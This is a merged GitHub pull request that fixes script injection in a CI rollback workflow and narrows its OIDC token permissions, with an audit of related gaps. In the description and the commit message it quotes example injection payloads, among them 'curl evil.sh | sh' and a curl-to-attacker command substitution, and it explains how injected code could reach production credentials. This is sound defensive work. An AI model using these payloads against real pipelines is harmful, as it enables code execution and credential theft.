Skip to content

fix(ci): stop interpolating dispatch inputs into rollback run blocks - #1641

Merged
cristim merged 2 commits into
mainfrom
sec/1542-rollback-workflow-injection
Jul 28, 2026
Merged

fix(ci): stop interpolating dispatch inputs into rollback run blocks#1641
cristim merged 2 commits into
mainfrom
sec/1542-rollback-workflow-injection

Conversation

@cristim

@cristim cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member

Closes #1542

Both claims in the issue were live on current origin/main (3e9660d)

(a) Script injection — confirmed. ${{ inputs.reason }} and ${{ inputs.image_tag }} (both free-text type: string dispatch inputs) were substituted into the shell source of run: blocks before bash parsed them. The image_tag regex guard was itself post-interpolation, so it validated nothing.

(b) Approval-gate bypass — confirmed, and the mechanism is worse than "no environment on validate/summary". permissions: id-token: write sat at workflow level, and the deleted verify-image job actively called configure-aws-credentials / azure/login / google-github-actions/auth while having no environment: binding. Its OIDC subject was repo:<org/repo>:ref:refs/heads/main, which terraform/environments/aws/ci-cd-permissions/role.tf:29 accepts independently of the environment:* subjects. So injected code ran in a job that legitimately held production deploy credentials and never touched a reviewer gate.

What this PR does and does not fix — read this before trusting the gate

The issue described two controls. Only the first is restored here, and I am not claiming otherwise.

control status
1. Eliminate the injection DONE. Zero ${{ }} remain in any run: block (11 before). Verified by parsing the YAML and by executing the real run-blocks against hostile payloads.
2. Restore the approval gate NOT RESTORED — and it never existed. id-token: write is now narrowed onto four environment-bound jobs, which is the correct shape. But those environments have no protection rules, so nothing approves anything.

The narrowing is still worth doing: it is the precondition for a gate to mean anything, and it removes the ungated-but-credentialed job the exploit relied on. It is simply not, by itself, an approval control.

$ gh api repos/LeanerCloud/CUDly/environments
total_count: 5
aws-fargate-dev: protection_rules=[] | aws-fargate-staging: [] | azure-: [] | dev: [] | gcp-: []

No environment in this repo has any protection rules, none of the four <cloud>-<env>-rollback environments exists, and GitHub auto-creates a referenced environment bare on first use. The environments literally named azure- and gcp- are evidence that auto-create has already fired here, when an ${{ inputs.environment }} rendered empty. Filed as #1660.

So: the p0 in #1542 — arbitrary code execution reaching production cloud credentials — is dead. The reviewer gate is a separate, previously-unnoticed gap that this PR surfaces rather than closes.

Proof the injection is gone

Before, in Record rollback (the site the issue calls worst):

cat <<EOF > rollback-record.json
  "reason": "${{ inputs.reason }}",
EOF

After:

env:
  REASON: ${{ inputs.reason }}
run: |
  jq -n --arg reason "$REASON" ... '$ARGS.named' > rollback-record.json

Reproduced locally with reason = $(echo RCE > /tmp/marker) against faithful copies of both the heredoc site and the Display rollback plan if-block: before — marker created in both; after — no marker, the value is printed as literal text and lands in the JSON as a string.

Why the new form cannot execute: the value never appears in the script's source text. It arrives as a process environment variable, and "$REASON" is a quoted parameter expansion — bash performs no further parsing on the result, so metacharacters, $(...) and newlines are all inert data. jq --arg likewise binds the value as a JSON string rather than splicing it into a document.

One honesty note on the issue's example payload: "; curl evil.sh | sh; # works at the heredoc and most other sites, but at the if [ -n "..." ] site the ]-terminating form leaves the compound command unparseable, so bash aborts before executing. Command substitution ($(...)) is the vector that works at every site, including that one. The severity is unchanged.

A scripted scan confirms zero ${{ }} expressions remain inside any run: block in this file. Every other input reference was audited, not just reason.

Changes

  • Every input passed via env:, referenced as a quoted shell variable.
  • Audit record built with jq -n --arg instead of an unquoted heredoc.
  • id-token: write dropped to job level, granted only to the four environment-bound rollback-* jobs; validate and summary are contents: read.
  • verify-image deleted (it was the ungated credentialed job); its check inlined into each gated rollback job.
  • image_tag regex now runs against a shell variable, and a bad tag fails the job rather than setting an is_valid output that a later job had to remember to honour.
  • Fail loud on unset AWS_ACCOUNT_ID / GCP_PROJECT_ID instead of building an image URI around an empty string; set -euo pipefail throughout.
  • Azure tag lookup uses az acr repository show --image instead of grepping paginated show-tags through a pipe (show-tags can page a valid older tag off the first page, and under pipefail an early grep -q exit can SIGPIPE az and fail the check on a match).
  • reason newlines folded before writing to $GITHUB_STEP_SUMMARY, which renders as markdown and could otherwise be made to forge a fake "Rollback completed successfully" line. The audit JSON keeps the value verbatim.

Verification

check result
actionlint (shellcheck available) on pre-change file exit 1
actionlint on updated file exit 0
${{ }} inside any run: block 0
pre-commit hooks passed

act was not run; no dry run is claimed.

Why existing scanning missed this

Nothing in this repo parses workflow files for this class. There is no actionlint or zizmor in CI or in .pre-commit-config.yaml. The Security Scanning job runs govulncheck and gosec, both Go-source scanners that never open .github/workflows/. trivy-config targets Terraform/Dockerfile/K8s misconfiguration, not Actions expression injection, and the check-yaml hook only proves the YAML parses. Adding actionlint to pre-commit would have caught this at write time — filed as #1646.

Deliberately out of scope — all tracked as issues

Every item below is filed, so none of it is lost when this PR merges.

# Finding Labels
#1660 Deployment environments have no protection rules and the rollback ones do not exist, so the binding this PR narrows onto approves nothing. Includes the GCP WIF attribute_condition gap: it constrains assertion.repository and assertion.ref but never sub, so unlike AWS/Azure a GCP token mints for any environment name, including an auto-created bare one. p1 / high
#1649 deploy-aws-lambda.yml had the identical shape via github.event.release.tag_name in an ungated prepare job. Fixed in PR #1657. p0 / critical
#1647 database-migration.yml interpolates inputs.steps raw behind a guard that validates nothing. Latent, not demonstrated — the injection sits in an environment-bound job and reachability depends on type: number enforcement I could not confirm. p1 / high
#1648 <cloud>-<env>-rollback environments absent from the trust-policy sub allowlists, so AWS and Azure rollback cannot authenticate at all. Pre-existing, not introduced here — the original carried the same bindings. Azure is worse than AWS: sp.tf:37,48 allowlists only ref:refs/heads/main and pull_request, no environment:* subject at all. p1 / high
#1659 The sibling deploy/sanity workflows grant id-token: write to ungated jobs; deploy-gcp and deploy-azure build-and-deploy actually authenticate while ungated. No injectable value, so hardening not exploit. p1 / high
#1662 This workflow verifies the image against the assumed role's registry (describe-images with no --registry-id) while building the URI from vars.AWS_ACCOUNT_ID. If those diverge, "image exists" is asserted against the wrong registry. One-line fix. p2 / medium
#1646 No actionlint / zizmor in CI or pre-commit — the systemic reason this whole class was invisible. 8 workflow files currently fail actionlint. p1 / high

Two points noted on existing issues rather than duplicated:

Accepted tradeoff

Image existence is now verified inside each gated rollback job instead of in a standalone job, so a rollback to a nonexistent tag fails after the environment approval rather than before it. That is deliberate: the standalone job authenticated to a cloud provider with no environment binding, which was the ungated-but-credentialed shape the exploit depended on. Documented in the workflow at :165-169 and now in .github/workflows/README.md, which still listed the deleted "Verify Image" as one of four jobs.

Sweep coverage

All 16 files in .github/workflows/ were swept, not just the one being fixed:

  • every file grepped for inputs.*, github.event.*, github.head_ref, github.ref_name, github.actor, and the dangerous triggers pull_request_target / issue_comment / workflow_run;
  • every file run through actionlint with shellcheck present;
  • every file with a hit read at the interpolation site.

Results: no pull_request_target, issue_comment or workflow_run trigger exists anywhere in this repo, so the untrusted-fork vector is absent. github.actor reaches run: blocks in the four deploy workflows, but GitHub usernames are [A-Za-z0-9-] and are not injectable. The three genuine findings are #1542 (this PR), #1649 and #1647.

What was not done: I did not read every run: block of every workflow line by line — files with no grep hit and a clean actionlint were not manually reviewed.

Files outside .github/workflows/rollback.yml are untouched, so this does not overlap #1543 / #1544 / #1545.

`.github/workflows/rollback.yml` substituted the free-text `reason` and
`image_tag` workflow_dispatch inputs directly into `run:` blocks. GitHub
expands `${{ inputs.* }}` into the shell source before bash parses it, so
a reason of `$(curl -s https://attacker/x | sh)` executed as code. The
audit-record step was the worst case: an unquoted `cat <<EOF` heredoc, in
which command substitution ran inside the JSON body.

The workflow also declared `permissions: id-token: write` at workflow
level, so `validate`, `verify-image` and `summary` held it despite having
no `environment:` binding. Because the AWS deploy role's trust policy
accepts `repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code in one of those jobs could mint an
OIDC token and assume the deploy role without passing the reviewer gate
that protects the `rollback-*` jobs.

Changes:

- Pass every input through `env:` and reference the quoted shell variable,
  so values are data rather than code. No `${{ }}` remains in any `run:`
  block in this file.
- Build the audit record with `jq -n --arg` instead of a heredoc, so every
  value is JSON-escaped and no command substitution is possible.
- Drop `id-token: write` to job level, granting it only to the four
  environment-bound `rollback-*` jobs. `validate` and `summary` are now
  `contents: read`.
- Delete the `verify-image` job, which authenticated to a cloud provider
  with no environment binding, and inline its check into each gated
  rollback job.
- Make `image_tag` validation meaningful: the regex now runs against a
  shell variable rather than a value already pasted into the script, and
  a bad tag fails the job instead of setting an `is_valid` output.
- Fail loud on unset `AWS_ACCOUNT_ID` / `GCP_PROJECT_ID` rather than
  building an image URI around an empty string, and add `set -euo
  pipefail` to the run blocks.
- Look Azure tags up with `az acr repository show --image` instead of
  grepping paginated `show-tags` output through a pipe that `pipefail`
  could fail on a match.
- Fold newlines out of `reason` before writing it to the step summary, so
  it cannot forge headings or a fake result line in the rendered markdown.

Verified with `actionlint` (with shellcheck available): the pre-change
file exits 1, the updated file exits 0.

Closes #1542
@cristim cristim added effort/m Days impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things labels Jul 28, 2026
@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

Warning

Review limit reached

You’ve reached a temporary PR review limit under our Fair Usage Limits Policy.

Your recent review volume is higher than typical usage, so adaptive limits are currently applied.

Next review available in: 41 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 673a05cf-00da-479e-8cb1-b246b9bff1bf

📥 Commits

Reviewing files that changed from the base of the PR and between 887d51f and f2b6529.

📒 Files selected for processing (2)
  • .github/workflows/README.md
  • .github/workflows/rollback.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch sec/1542-rollback-workflow-injection

Comment @coderabbitai help to get the list of available commands.

@cristim

cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai review

@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor
✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@cristim

cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor
✅ Action performed

Full review finished.


Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 54 minutes.

The workflows README still listed "Verify Image" as one of four rollback
jobs. That job no longer exists: it authenticated to a cloud provider
while carrying no environment binding, so its check now runs inside each
gated rollback job instead.

Renumber to three jobs and state the tradeoff, so the next reader does
not reinstate a standalone verify job to "fix" the ordering.
@cristim

cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor
✅ Action performed

Full review finished.


Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 41 minutes.

@cristim
cristim merged commit 5f850f2 into main Jul 28, 2026
19 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

effort/m Days impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things

Projects

None yet

Development

Successfully merging this pull request may close these issues.

sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write

1 participant